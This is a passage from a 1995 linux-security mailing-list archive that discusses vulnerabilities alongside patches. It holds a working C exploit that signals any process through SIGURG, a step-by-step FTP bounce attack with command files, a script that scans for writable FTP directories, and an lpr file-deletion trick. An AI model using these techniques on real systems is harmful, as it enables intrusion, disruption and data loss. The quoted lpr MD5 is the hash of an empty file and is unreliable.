diskets/subdirs). > > I found out that if I put a record > +:*:0:0:::/bin/false > in /etc/passwd to be able authorize users but do not allow them to log into the > system ( i need it for some server authorization), it looks like the record > does > not work: This was not completely implemented in libraries prior to libc-4.6.27. Are you using an earlier version, perhaps? Cheers, Stephen. -- Stephen Tweedie, Web13 , Dept. of Computer Science, Edinburgh University, Scotland linux-security/1995/linux-security.950707100664 1767 1767 22667 5777350175 17312 0ustar majdommajdomFrom [email protected] Fri Jul 7 08:04:45 1995 Received: (from majdom@localhost) by tarsier.cv.nrao.edu (8.6.12/8.6.9) id HAA12917; Fri, 7 Jul 1995 07:57:35 -0400 Received: from iiit.swan.ac.uk (root@[137.44.100.1]) by tarsier.cv.nrao.edu (8.6.12/8.6.9) with SMTP id EAA12305; Fri, 7 Jul 1995 04:07:04 -0400 Message-Id: From: [email protected] (Alan Cox) Subject: Re: Secure Distributed Password System? To: [email protected] (alex) Date: Fri, 7 Jul 1995 08:56:00 +0100 (BST) Cc: [email protected], [email protected] In-Reply-To: from "alex" at Jul 5, 95 01:16:57 pm X-Mailer: ELM [version 2.4 PL23] Content-Type: text Content-Length: 605 Sender: [email protected] Precedence: list > Assuming that clients are diskless and/or there are Xterminals or just > terminals attached to the network, I think that Kerberos is not a > solution because: > > a) Bootp protocol is not kerberos aware i.e. it is a subject of > spoofing > b) Duing the login procedure packet sniffer will pickup a password Diskless clients are ok - the snooper will see the nfs load of the program not the password. Xterminals are. Bootp doesnt matter. Someone can spoof bootp information, they can even get a new machine on the net. They still have to know their kerberos password to go any further. Alan From [email protected] Fri Jul 7 11:02:20 1995 Received: (from majdom@localhost) by tarsier.cv.nrao.edu (8.6.12/8.6.9) id KAA15756; Fri, 7 Jul 1995 10:56:07 -0400 Received: from cv3.cv.nrao.edu (cv3.cv.nrao.edu [192.33.115.2]) by tarsier.cv.nrao.edu (8.6.12/8.6.9) with SMTP id FAA12584; Fri, 7 Jul 1995 05:25:24 -0400 Received: from uni-paderborn.de by cv3.cv.nrao.edu (4.1/DDN-DLB/1.13) id AA09857; Fri, 7 Jul 95 05:22:43 EDT Received: from linux.uni-paderborn.de (linux.uni-paderborn.de [131.234.12.32]) by uni-paderborn.de (8.6.12/8.6.12) with ESMTP id LAA02440; Fri, 7 Jul 1995 11:20:19 +0200 Received: (swen@localhost) by linux.uni-paderborn.de (8.6.12/client-pb) id LAA00210; Fri, 7 Jul 1995 11:20:18 +0200 Date: Fri, 7 Jul 1995 11:20:12 +0200 (MET DST) From: Swen Thuemmler To: [email protected] Cc: [email protected], Stephen Tweedie Subject: Re: +:*:0:0:::/bin/false does not work. Why? In-Reply-To: Message-Id: Mime-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: [email protected] Precedence: list [mod: quoting trimmed. --okir] On Fri, 7 Jul 1995, Stephen C. Tweedie wrote: > This was not completely implemented in libraries prior to libc-4.6.27. > Are you using an earlier version, perhaps? Overwriting field in the general +:::::: entry was not implemented prior to libc-4.6.30. Unfortunately this lib was not officially released, so you will either have to stick with this behaviour or upgrade to a newer version (libc-4.7.4, but this means changing the filesystem layout or switching to ELF), or you may use the pwd/* and grp/* routines from libc-4.7.4 in libc-4.6.27, this means recompiling. Sorry, no easy answer. --Swen From [email protected] Fri Jul 7 11:47:27 1995 Received: (from majdom@localhost) by tarsier.cv.nrao.edu (8.6.12/8.6.9) id LAA16819; Fri, 7 Jul 1995 11:43:16 -0400 Received: (from juphoff@localhost) by tarsier.cv.nrao.edu (8.6.12/8.6.9) id LAA16814; Fri, 7 Jul 1995 11:43:13 -0400 Date: Fri, 7 Jul 1995 11:43:13 -0400 Message-Id: <[email protected]> From: Jeff Uphoff To: [email protected] Subject: Re: Exploit for Linux wu.ftpd hole [Forwarded e-mail from Stan Barber] X-Mailer: VM 5.87 (beta); GNU Emacs 19.29.1 X-Attribution: Up Sender: [email protected] Precedence: list This appeared on bugtraq and I think that it may be of general interest here in view of our recent alert on wu-ftpd and the widespread use of insecure wu-ftpd's within the Linux community. I'm sure they would appreciate all *valid* security critiques that you can provide. --Up. P.S. I have received several requests for the bugtraq list address. The address of the list appears in the mail headers below--but please note that the administrative address is "[email protected]"--please do not send administrative commands (help, subscribe, etc.) to the bugtraq address. Send a message containing the word "help" in the body to the Netspace address for further information. The server there is a LISTSERV, vice a Majordomo, so things work differently than on the Linux security lists. ------- start of forwarded message (RFC 934 encapsulation) ------- From: Stan Barber To: Multiple recipients of list BUGTRAQ Subject: Re: Exploit for Linux wu.ftpd hole Date: Wed, 5 Jul 1995 17:46:17 CDT Reply-To: Bugtraq List I have been working with folks on the wu-ftpd list to create a new release of wu-ftpd-2.4 that has many bugs fixed (including the bug fixes from Hobbit). We are in BETA4 and BETA5 will be out soon, but the BETA release are mostly addressing smaller problems now. I expect to have a "release" version by the middle of this month. If you want to see if there are still open security problems, please do. Here is the URL for the beta: ftp://ftp.academ.com/pub/wu-ftpd/private/wu-ftpd-2.4.2-beta-4.tar Report problems/bugs to "[email protected]" and join the wu-ftpd list at Washington University if you want get involved. Note: This version has been tested on Linux 1.2.8 as well as other platforms. - -- Stan | Academ Consulting Services |internet: [email protected] Olan | For more info on academ, see this |uucp: bcm!academ!sob Barber | URL- http://www.academ.com/academ |Opinions expressed are only mine. ------- end ------- From [email protected] Fri Jul 7 20:25:20 1995 Received: (from majdom@localhost) by tarsier.cv.nrao.edu (8.6.12/8.6.9) id UAA25530; Fri, 7 Jul 1995 20:19:26 -0400 Received: from dfw.net (dfw.net [198.175.15.10]) by tarsier.cv.nrao.edu (8.6.12/8.6.9) with SMTP id NAA17678; Fri, 7 Jul 1995 13:34:14 -0400 Received: by dfw.net (4.1/SMI-4.1) id AA09543; Fri, 7 Jul 95 12:33:05 CDT Date: Fri, 7 Jul 1995 12:33:03 -0500 (CDT) From: Aleph One To: [email protected] Subject: Interesting stuff Message-Id: Mime-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: [email protected] Precedence: list ---------- Forwarded message ---------- Date: Thu, 6 Jul 1995 11:08:11 AKD From: Paul Tony Watson To: Multiple recipients of list BUGTRAQ Subject: Yggdrasil Linux (mis)configuration problem I have noticed a serious problem with the Yggdrasil Linux cdrom. The problems I have noticed are on the on the Fall94 release... I have not had time to check newer releases... (Maybe someone else can check??) The following directories are installed on the new system with perms of drwxrwxrwx: /usr/bin /usr/sbin /usr/lib /usr/man /usr/packages /usr/src (and others) The problems are obvious... ================================================================ | Paul A. Watson | Current Work Location: | | System & Security Administrator| Elmendorf AFB, 611 OSS/TBX| | Email: [email protected]. | Anchorage, Alaska | | http://www.ctis.af.mil/~watson | | ================================================================ From [email protected] Fri Jul 7 20:25:20 1995 Received: (from majdom@localhost) by tarsier.cv.nrao.edu (8.6.12/8.6.9) id UAA25537; Fri, 7 Jul 1995 20:19:36 -0400 Received: from hydra.legislate.com (root@[192.77.155.4]) by tarsier.cv.nrao.edu (8.6.12/8.6.9) with SMTP id MAA17026; Fri, 7 Jul 1995 12:04:15 -0400 Received: by hydra.legislate.com id (Debian /\oo/\ Smail3.1.29.1 #29.33); Fri, 7 Jul 95 12:05 GMT Message-Id: Date: Fri, 7 Jul 95 12:05 GMT From: [email protected] (Raul Miller) To: [email protected] In-reply-to: <[email protected]> ([email protected]) Subject: Re: Secure Distributed Password System? Sender: [email protected] Precedence: list Alex: > Assuming that clients are diskless and/or there are Xterminals or > just terminals attached to the network, I think that Kerberos is > not a solution because: > > a) Bootp protocol is not kerberos aware i.e. it is a subject of > spoofing > b) Duing the login procedure packet sniffer will pickup a password Alan Cox: Diskless clients are ok - the snooper will see the nfs load of the program not the password. Xterminals are. Bootp doesnt matter. Someone can spoof bootp information, they can even get a new machine on the net. They still have to know their kerberos password to go any further. Bootp matters. The problem is not spoofing of a bootp client, but spoofing a bootp server. Here, you can have corrupt code running resulting in a non-secure environment into which you would inject a Kerberos password. Voila, instant compromised password. -- Raul Miller linux-security/1995/linux-security.950711100664 1767 1767 14517 6000577070 17261 0ustar majdommajdomFrom [email protected] Tue Jul 11 18:26:38 1995 Received: (from majdom@localhost) by tarsier.cv.nrao.edu (8.6.12/8.6.9) id RAA04945; Tue, 11 Jul 1995 17:56:49 -0400 Received: from i17linuxb.ists.pwr.wroc.pl ([email protected] [156.17.35.8]) by tarsier.cv.nrao.edu (8.6.12/8.6.9) with ESMTP id MAA03351; Tue, 11 Jul 1995 12:39:20 -0400 Received: (from marekm@localhost) by i17linuxb.ists.pwr.wroc.pl (8.6.12/8.6.9) id SAA16413; Tue, 11 Jul 1995 18:37:44 +0200 From: Marek Michalkiewicz Message-Id: <[email protected]> Subject: Exploit+fix for Linux SIGURG To: [email protected], [email protected] Date: Tue, 11 Jul 1995 18:37:43 +0200 (MET DST) X-Mailer: ELM [version 2.4 PL23] Content-Type: text Content-Length: 3267 Sender: [email protected] Precedence: list Thanks for all the mail I received about this bug. Enclosed is the promised exploit program, and kernel patch for 1.2.11 which will plug this hole. This patch is in 1.3.7 but not yet in 1.2.x. ---------- /* This program, when run on most Linux systems (tested with 1.2.9, but should work with versions at least up to 1.2.11 and 1.3.6), will send SIGURG to specified process, even if you don't own it. This signal (unless caught or ignored) will terminate the process, so please don't do that without the permission from your system administrator. Thank you. Copyright (C) 1995 Marek Michalkiewicz This program is free software, see the GNU General Public License for more legalese... There is no warranty - after all, this bug may be fixed soon :-). This piece of code is probably not an example of proper programming style - please don't look at it too closely. The intent is to show a security hole in the Linux kernel. */ #include #include #include #include #include #include #include #include #define PORT 8765 /* just a random hopefully unused TCP port */ #define ERROR_CHECK(x, msg) do { \ if ((x) == -1) { \ perror(msg); \ exit(1); \ } \ } while (0) int main(int argc, char *argv[]) { int s, s1, child_pid; struct sockaddr_in addr; int one = 1; char c = 0; if (argc != 2) { fprintf(stderr, "usage: %s pid\n", argv[0]); exit(1); } ERROR_CHECK( s = socket(AF_INET, SOCK_STREAM, 0), "socket" ); ERROR_CHECK( setsockopt(s, SOL_SOCKET, SO_REUSEADDR, &one, sizeof one), "setsockopt" ); memset(&addr, 0, sizeof addr); addr.sin_family = AF_INET; addr.sin_port = htons(PORT); addr.sin_addr.s_addr = INADDR_ANY; ERROR_CHECK( bind(s, (struct sockaddr *) &addr, sizeof addr), "bind" ); ERROR_CHECK( listen(s, 1), "listen" ); ERROR_CHECK( child_pid = fork(), "fork" ); if (child_pid == 0) { /* child */ int pid_to_kill = atoi(argv[1]); ERROR_CHECK( s1 = socket(AF_INET, SOCK_STREAM, 0), "child socket" ); ERROR_CHECK( connect(s1, (struct sockaddr *) &addr, sizeof addr), "child connect" ); ERROR_CHECK( ioctl(s1, FIOSETOWN, &pid_to_kill), "child ioctl" ); /* !!! */ ERROR_CHECK( write(s1, &c, 1), "child write" ); /* wake up blocked parent */ ERROR_CHECK( read(s1, &c, 1), "child read" ); _exit(0); } ERROR_CHECK( s1 = accept(s, NULL, NULL), "accept" ); ERROR_CHECK( read(s1, &c, 1), "read" ); /* block until child is ready */ ERROR_CHECK( send(s1, &c, 1, MSG_OOB), "send" ); /* this will send SIGURG */ return 0; } ---------- diff -urN v1.2.11/linux/net/inet/af_inet.c linux/net/inet/af_inet.c --- v1.2.11/linux/net/inet/af_inet.c Tue Jun 13 15:18:50 1995 +++ linux/net/inet/af_inet.c Wed Jul 5 16:00:19 1995 @@ -1260,6 +1260,7 @@ { struct sock *sk=(struct sock *)sock->data; int err; + int tmp; switch(cmd) { @@ -1268,7 +1269,11 @@ err=verify_area(VERIFY_READ,(int *)arg,sizeof(long)); if(err) return err; - sk->proc = get_fs_long((int *) arg); + tmp = get_fs_long((int *) arg); + /* see inet_fcntl */ + if (current->pid != tmp && current->pgrp != -tmp && !suser()) + return -EPERM; + sk->proc = tmp; return(0); case FIOGETOWN: case SIOCGPGRP: ---------- From [email protected] Tue Jul 11 18:41:54 1995 Received: (from majdom@localhost) by tarsier.cv.nrao.edu (8.6.12/8.6.9) id SAA05092; Tue, 11 Jul 1995 18:34:33 -0400 Received: from dfw.net (dfw.net [198.175.15.10]) by tarsier.cv.nrao.edu (8.6.12/8.6.9) with SMTP id OAA03384; Mon, 10 Jul 1995 14:01:30 -0400 Received: by dfw.net (4.1/SMI-4.1) id AA08044; Mon, 10 Jul 95 13:00:18 CDT Date: Mon, 10 Jul 1995 13:00:16 -0500 (CDT) From: Aleph One To: [email protected] Subject: Re: [Linux-ISP] Slackware questions (fwd) Message-Id: Mime-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: [email protected] Precedence: list Aleph One / [email protected] http://underground.org/ ---------- Forwarded message ---------- Date: Sat, 8 Jul 1995 06:54:00 -0400 (EDT) From: Zygo Blaxell To: [email protected] Cc: [email protected] Subject: Re: [Linux-ISP] Slackware questions Quoted from James Cook: > What sort of security holes need to be plugged in the March '95 > InfoMagic release of Slackware? I seem to recall seeing a message > about the finger and ftp programs needing upgrading. Anything else? 'lpr -r -s' can be used to print or remove any file. I sent the bug report to Slackware's bug address. Dunno if anything has been done since then (strangely enough, I never seem to need to configure printers, so I just 'rm -f /usr/bin/lpr /usr/sbin/lpd'. The problem is simple: lp[dr] remove/open the files they are printing as root, instead of the ID of whoever requested the job. D'oh. -- Zygo Blaxell, acting sysadmin and current software/hardware guru for the University of Waterloo Computer Science Club; current sysadmin for miranda. uwaterloo.ca and ezmail.com. 10th place team, ACM Intl Finals Programming Contest 1994. Will administer Unix (esp. Linux, maybe Solaris) for food. ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ To [un]subscribe to this list, contact [email protected] Please send contributions for the mailing list to: [email protected] Please contact the mailing-list-owner as: [email protected] linux-security/1995/linux-security.950712100664 1767 1767 36676 6001047704 17271 0ustar majdommajdomFrom [email protected] Wed Jul 12 18:41:57 1995 Received: (from majdom@localhost) by tarsier.cv.nrao.edu (8.6.12/8.6.9) id SAA18407; Wed, 12 Jul 1995 18:24:42 -0400 Received: from brewhq.swb.de ([email protected] [193.175.30.3]) by tarsier.cv.nrao.edu (8.6.12/8.6.9) with SMTP id RAA18300; Wed, 12 Jul 1995 17:56:45 -0400 Received: by brewhq.swb.de (Linux Smail3.1.29.0 #5) id m0sW9ly-0005ApC; Wed, 12 Jul 95 23:56 MET DST Received: by monad.swb.de (smail3.1.29.0 #5) id m0sW9Jq-00000JC; Wed, 12 Jul 95 23:27 MET DST Message-Id: From: [email protected] (Olaf Kirch) Subject: The FTP Bounce Attack (fwd) To: [email protected] Date: Wed, 12 Jul 1995 23:27:45 +0200 (MET DST) X-Mailer: ELM [version 2.4 PL23] MIME-Version: 1.0 Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: 8bit Content-Length: 11833 Sender: [email protected] Precedence: list Hi all, this just came in over bugtraq. Although you may not be concerned with someone retrieving files they should not retrieve, you should be concerned with other uses and abuses of this trick. See my second message for more details. Olaf ------------------------------------------------------------------ > Approved-By: [email protected] > Approved-By: *Hobbit* > Message-ID: <[email protected]> > Date: Wed, 12 Jul 1995 02:20:20 -0400 > Reply-To: Bugtraq List > Sender: Bugtraq List > From: *Hobbit* > Subject: The FTP Bounce Attack > X-To: [email protected] > To: Multiple recipients of list BUGTRAQ > > This discusses one of many possible uses of the "FTP server bounce attack". > The mechanism used is probably well-known, but to date interest in detailing > or fixing it seems low to nonexistent. This particular example demonstrates > yet another way in which most electronically enforced "export restrictions" are > completely useless and trivial to bypass. It is chosen in an effort to make > the reader sit up and notice that there are some really ill-conceived aspects > of the standard FTP protocol. > > Thanks also to Alain Knaff at imag.fr for a brief but entertaining discussion > of some of these issues a couple of months ago which got me thinking more > deeply about them. > > The motive > ========== > > You are a user on foreign.fr, IP address F.F.F.F, and want to retrieve > cryptographic source code from crypto.com in the US. The FTP server at > crypto.com is set up to allow your connection, but deny access to the crypto > sources because your source IP address is that of a non-US site [as near as > their FTP server can determine from the DNS, that is]. In any case, you > cannot directly retrieve what you want from crypto.com's server. > > However, crypto.com will allow ufred.edu to download crypto sources because > ufred.edu is in the US too. You happen to know that /incoming on ufred.edu > is a world-writeable directory that any anonymous user can drop files into and > read them back from. Crypto.com's IP address is C.C.C.C. > > The attack > ========== > > This assumes you have an FTP server that does passive mode. Open an FTP > connection to your own machine's real IP address [not localhost] and log in. > Change to a convenient directory that you have write access to, and then do: > > quote "pasv" > quote "stor foobar" > > Take note of the address and port that are returned from the PASV command, > F,F,F,F,X,X. This FTP session will now hang, so background it or flip to > another window or something to proceed with the rest of this. > > Construct a file containing FTP server commands. Let's call this file > "instrs". It will look like this: > > user ftp > pass -anonymous@ > cwd /export-restricted-crypto > type i > port F,F,F,F,X,X > retr crypto.tar.Z > quit > ^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@ ... ^@^@^@^@ > ^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@ ... ^@^@^@^@ > ... > > F,F,F,F,X,X is the same address and port that your own machine handed you > on the first connection. The trash at the end is extra lines you create, > each containing 250 NULLS and nothing else, enough to fill up about 60K of > extra data. The reason for this filler is explained later. > > Open an FTP connection to ufred.edu, log in anonymously, and cd to /incoming. > Now type the following into this FTP session, which transfers a copy of your > "instrs" file over and then tells ufred.edu's FTP server to connect to > crypto.com's FTP server using your file as the commands: > > put instrs > quote "port C,C,C,C,0,21" > quote "retr instrs" > > Crypto.tar.Z should now show up as "foobar" on your machine via your first FTP > connection. If the connection to ufred.edu didn't die by itself due to an > apparently common server bug, clean up by deleting "instrs" and exiting. > Otherwise you'll have to reconnect to finish. > > Discussion > ========== > > There are several variants of this. Your PASV listener connection can be > opened on any machine that you have file write access to -- your own, another > connection to ufred.edu, or somewhere completely unrelated. In fact, it does > not even have to be an FTP server -- any utility that will listen on a known > TCP port and read raw data from it into a file will do. A passive-mode FTP > data connection is simply a convenient way to do this. > > The extra nulls at the end of the command file are to fill up the TCP windows > on either end of the ufred -> crypto connection, and ensure that the command > connection stays open long enough for the whole session to be executed. > Otherwise, most FTP servers tend to abort all transfers and command processing > when the control connection closes prematurely. The size of the data is enough > to fill both the receive and transmit windows, which on some OSes are quite > large [on the order of 30K]. You can trim this down if you know what OSes > are on either end and the sum of their default TCP window sizes. It is split > into lines of 250 characters to avoid overrunning command buffers on the target > server -- probably academic since you told the server to quit already. > > If crypto.com disallows *any* FTP client connection from you at foreign.fr and > you need to see what files are where, you can always put "list -aR" in your > command file and get a directory listing of the entire tree via ufred. > > You may have to retrieve your command file to the target's FTP server in ASCII > mode rather than binary mode. Some FTP servers can deal with raw newlines, but > others may need command lines terminated by CRLF pairs. Keep this in mind when > retrieving files to daemons other than FTP servers, as well. > > Other possbilities > ================== > > Despite the fact that such third-party connections are one-way only, they > can be used for all kinds of things. Similar methods can be used to post > virtually untraceable mail and news, hammer on servers at various sites, fill > up disks, try to hop firewalls, and generally be annoying and hard to track > down at the same time. A little thought will bring realization of numerous > other scary possibilities. > > Connections launched this way come from source port 20, which some sites allow > through their firewalls in an effort to deal with the "ftp-data" problem. For > some purposes, this can be the next best thing to source-routed attacks, and is > likely to succeed where source routing fails against packet filters. And it's > all made possible by the way the FTP protocol spec was written, allowing > control connections to come from anywhere and data connections to go anywhere. > > Defenses > ======== > > There will always be sites on the net with creaky old FTP servers and > writeable directories that allow this sort of traffic, so saying "fix all > the FTP servers" is the wrong answer. But you can protect your own against > both being a third-party bouncepoint and having another one used against you. > > The first obvious thing to do is allow an FTP server to only make data > connections to the same host that the control connection originated from. > This does not prevent the above attack, of course, since the PASV listener > could just as easily be on ufred.edu and thus meet that requirement, but > it does prevent *your* site from being a potential bouncepoint. It also > breaks the concept of "proxy FTP", but hidden somewhere in this paragraph > is a very tiny violin. > > The next obvious thing is to prohibit FTP control connections that come from > reserved ports, or at least port 20. This prevents the above scenario as > stated. > > Both of these things, plus the usual poop about blocking source-routed packets > and other avenues of spoofery, are necessary to prevent hacks of this sort. > And think about whether or not you really need an open "incoming" directory. > > Only allowing passive-mode client data connections is another possibility, > but there are still too many FTP clients in use that aren't passive-aware. > > "A loose consensus and running code" > ==================================== > > There is some existing work addressing this available here at avian.org [and > has been for several months, I might add] in the "fixkits archive". Several > mods to wu-ftpd-2.4 are presented, which includes code to prevent and log > attempts to use bogus PORT commands. Recent security fixes from elsewhere are > also included, along with s/key support and various compile-time options to > beef up security for specific applications. > > Stan Barber at academ.com is working on merging these and several other fixes > into a true updated wu-ftpd release. There are a couple of other divergent > efforts going on. Nowhere is it claimed that any of this work is complete yet, > but it is a start toward something I have had in mind for a while -- a > network-wide release of wu-ftpd-2.5, with contributions from around the net. > The wu-ftpd server has become very popular, but is in sad need of yet another > security upgrade. It would be nice to pull all the improvements together into > one coordinated place, and it looks like it will happen. All of this still > won't help people who insist on running vendor-supplied servers, of course. > > Sanity-checking the client connection's source port is not implemented > specifically in the FTP server fixes, but in modifications to Wietse's > tcp-wrappers package since this problem is more general. A simple PORT option > is added that denies connections from configurable ranges of source ports at > the tcpd stage, before a called daemon is executed. > > Some of this is pointed to by /src/fixkits/README in the anonymous FTP > area here. Read this roadmap before grabbing other things. > > Notes > ===== > > Adding the nulls at the end of the command file was the key to making this > work against a variety of daemons. Simply sending the desired data would > usually fail due to the immediate close signaling the daemon to bail out. > > If WUSTL has not given up entirely on the whole wu-ftpd project, they are > keeping very quiet about further work. Bryan O'Connor appears to have many > other projects to attend to by now... > > This is a trivial script to find world-writeable and ftp-owned directories and > files on a unix-based anonymous FTP server. You'd be surprised how many of > those writeable "bouncepoints" pop out after a short run of something like > this. You will have to later check that you can both PUT and GET files from > such places; some servers protect uploaded files against reading. Many do not, > and then wonder why they are among this week's top ten warez sites... > > #!/bin/sh > ftp -n $1 << FOE > quote "user ftp" > quote "pass -nobody@" > prompt > cd / > dir "-aR" xxx.$$ > bye > FOE > # Not smart enough to figure out ftp's numeric UID if no passwd file! > cat -v xxx.$$ | awk ' > BEGIN { idir = "/" ; dirp = 0 } > /.:$/ { idir = $0 ; dirp = 1 ; } > /^[-d][-r](......w.|........ *[0-9]* ftp *)/ { > if (dirp == 1) print idir > dirp = 0 > print $0 > } ' > rm xxx.$$ > > I suppose one could call this a white paper. It is up for grabs at avian.org > in /random/ftp-attack as well as being posted in various relevant places. > > _H* 950712 > -- Olaf Kirch | --- o --- Nous sommes du soleil we love when we play [email protected] | / | \ sol.dhoop.naytheet.ah kin.ir.samse.qurax For my PGP public key, finger [email protected]. From [email protected] Wed Jul 12 18:42:08 1995 Received: (from majdom@localhost) by tarsier.cv.nrao.edu (8.6.12/8.6.9) id SAA18412; Wed, 12 Jul 1995 18:24:50 -0400 Received: from brewhq.swb.de ([email protected] [193.175.30.3]) by tarsier.cv.nrao.edu (8.6.12/8.6.9) with SMTP id RAA18309; Wed, 12 Jul 1995 17:57:00 -0400 Received: by brewhq.swb.de (Linux Smail3.1.29.0 #5) id m0sW9m0-0005AqC; Wed, 12 Jul 95 23:56 MET DST Received: by monad.swb.de (smail3.1.29.0 #5) id m0sW9rv-00000JC; Thu, 13 Jul 95 00:02 MET DST Message-Id: From: [email protected] (Olaf Kirch) Subject: More on the FTP bounce attack To: [email protected] Date: Thu, 13 Jul 1995 00:02:58 +0200 (MET DST) X-Mailer: ELM [version 2.4 PL23] MIME-Version: 1.0 Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: 8bit Content-Length: 2029 Sender: [email protected] Precedence: list -----BEGIN PGP SIGNED MESSAGE----- Here's some more info on the ftp bounce attack. As the author does not describe the more malevolent abuses of the FTP protocol explicitly, I will not go into details either. The problem is, this type of attack can be used to talk to other network services as well, like rlogind. For the moment, your foremost line of defense is to make sure your ftpd sets file permissions on upload so that they can't be retrieved. With wu-ftpd, you can do this by adding a line like this to your /etc/ftpaccess: upload /var/ftp /incoming yes ftp ftpadmin 0600 nodirs If you run an ftpd other than wu-ftpd that does allow retrieval of files from incoming, you either have to hack your daemon to do so, or obtain the tcp-wrappers patch mentioned below. (NB: I was not able to log into avian.org). Alternatively, here's a small patch to tcpd from tcp-wrappers-7.2. It's sort of a hack, though. - --- - --- tcpd.c.orig Wed Dec 28 17:42:47 1994 +++ tcpd.c Wed Jul 12 23:56:31 1995 @@ -108,6 +108,15 @@ #endif /* + * Deny access from ports below IPPORT_RESERVED/2. + */ + if (ntohs(request.client->sin->sin_port) < IPPORT_RESERVED/2) { + syslog(deny_severity, "connect from illegal port %d", + ntohs(request.client->sin->sin_port)); + refuse(&request); + } + + /* * Check whether this host can access the service in argv[0]. The * access-control code invokes optional shell commands as specified in * the access-control tables. - --- Olaf - -- Olaf Kirch | --- o --- Nous sommes du soleil we love when we play [email protected] | / | \ sol.dhoop.naytheet.ah kin.ir.samse.qurax For my PGP public key, finger [email protected]. -----BEGIN PGP SIGNATURE----- Version: 2.6 iQCVAgUBMARGK+FnVHXv40etAQEyzgQAuC5a1zNrCBvmkf44kUOGXODWFzb69rD2 l0LYSpSQ90GAPmfvdVTt0DkruvoGkyPgCLiDs7SUbrZloitsA4TwNAy9sOBHwFHt OzThx7o+NpZtqz4tb7qrj8mr7/aEvV8g2B/ovpccTIkT3geaSZRD/fi4vjp8Sglo lxnJNg3c6h4= =4Q3h -----END PGP SIGNATURE----- linux-security/1995/linux-security.950713100664 1767 1767 7151 6001324044 17227 0ustar majdommajdomFrom [email protected] Thu Jul 13 19:11:26 1995 Received: (from majdom@localhost) by tarsier.cv.nrao.edu (8.6.12/8.6.9) id SAA32547; Thu, 13 Jul 1995 18:43:46 -0400 Received: from dfw.net (dfw.net [198.175.15.10]) by tarsier.cv.nrao.edu (8.6.12/8.6.9) with SMTP id SAA32379; Thu, 13 Jul 1995 18:10:45 -0400 Received: by dfw.net (4.1/SMI-4.1) id AA05713; Thu, 13 Jul 95 17:09:20 CDT Date: Thu, 13 Jul 1995 17:09:18 -0500 (CDT) From: Aleph One To: [email protected] Cc: eugene%[email protected], [email protected], [email protected], [email protected], [email protected], [email protected] Subject: lpr(1) bug Message-Id: Mime-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: [email protected] Precedence: list Problem: lpr(1) can be fooled into removing any file in the system by means of the -r flag. lpr(1) uses the access system call to determine if the parent directory of the file is writable by the real uid. If it is, it assumes the file can be unlinked. The problem arises in that lpr(1) does not check for directories with the sticky bit set (eg. /tmp). What fallows is a small (and damm ugly) hack to fix it. All credit goes to Zygo Blaxell for pointing this out in the linuxisp maling list. A patched version will be uploaded to sunsite later today. The MD5 signature fallows: MD5 (lpr-secure) = d41d8cd98f00b204e9800998ecf8427e The patch fallows: diff -u --recursive lpr/lpr/lpr/lpr.c lpr-secure/lpr/lpr/lpr.c --- lpr/lpr/lpr/lpr.c Mon May 23 02:05:02 1994 +++ lpr-secure/lpr/lpr/lpr.c Thu Jul 13 14:26:08 1995 @@ -548,6 +548,7 @@ char *file; { struct exec execb; + struct stat stats; register int fd; register char *cp; @@ -604,14 +605,32 @@ (void) close(fd); if (rflag) { if ((cp = rindex(file, '/')) == NULL) { - if (access(".", 2) == 0) - return(1); + if (access(".", 2) == 0) { + stat(".", &stats); + if (stats.st_mode & S_ISVTX) { /* Sticky bit */ + stat(file, &stats); + if (stats.st_uid == userid) { + return(1); + } + } else { + return(1); + } + } } else { *cp = '\0'; - fd = access(file, 2); + if (access(file,2) == 0) { + stat(file, &stats); + *cp = '/'; + if (stats.st_mode & S_ISVTX) { /* Sticky bit */+ stat(file, &stats); + if (stats.st_uid == userid) { + return(1); + } + } else { /* Sticky bit is set */ + return(1); + } + } *cp = '/'; - if (fd == 0) - return(1); } printf("%s: %s: is not removable by you\n", name, file); } Aleph One / [email protected] http://underground.org/ linux-security/1995/linux-security.950716100664 1767 1767 7003 6002270761 17235 0ustar majdommajdomFrom [email protected] Sun Jul 16 16:09:12 1995 Received: (from majdom@localhost) by tarsier.cv.nrao.edu (8.6.12/8.6.9) id PAA14268; Sun, 16 Jul 1995 15:46:37 -0400 Received: from teleportal ([email protected] [204.157.166.18]) by tarsier.cv.nrao.edu (8.6.12/8.6.9) with ESMTP id NAA10540; Sat, 15 Jul 1995 13:37:14 -0400 Received: from teleportal ([email protected] [204.157.166.18]) by teleportal (8.6.9/8.6.9) with SMTP id LAA23732 for ; Sat, 15 Jul 1995 11:32:43 -0500 Message-Id: <199507151632.LAA23732@teleportal> From: Linas Vepstas Date: Sat, 15 Jul 95 11:32:43 -500 To: [email protected] Mime-Version: 1.0 X-Mailer: Mozilla/1.0N (X11; Linux 1.1.59 i486) Content-Type: text/plain; charset=iso-8859-1 Content-Transfer-Encoding: 8bit Subject: Phrack X-URL: http://www.sonic.net:80/hypermail/security/ Sender: [email protected] Precedence: list Hi, I scanned the hypermail archive; no one seems to have discussed Phrack in any way. Phrack is a magazine devoted to phone freaking & computer hacking. The cheif editor lives here in Austin, TX; my internet provider is the home for the publication. The publication includes source code for a variety of appearently nasty little programs. I scanned the code; some look silly, some look like they may be legitametely dangerous. Most won't do anything in and of themselves, but are rather tools (e.g. software packet sniffers). Has anybody gone over these to see just what sort of danger they present to Linux? Are these considered to be a non-issue, because they are "well-known"? To get to them, see http://fc.net/phrack.html This will point to 47 issues on-line, and another pile of back-issues that are ftp'able. Somewhere in the middle, past the letters to the editor, and general articles, are entire sections (100K+) devoted to source code. Please cc me on replies ... I am not a regular subscriber, although I do check out the hypermail archives. --linas From [email protected] Sun Jul 16 16:09:12 1995 Received: (from majdom@localhost) by tarsier.cv.nrao.edu (8.6.12/8.6.9) id PAA14263; Sun, 16 Jul 1995 15:46:34 -0400 Received: from teleportal ([email protected] [204.157.166.18]) by tarsier.cv.nrao.edu (8.6.12/8.6.9) with ESMTP id NAA10605; Sat, 15 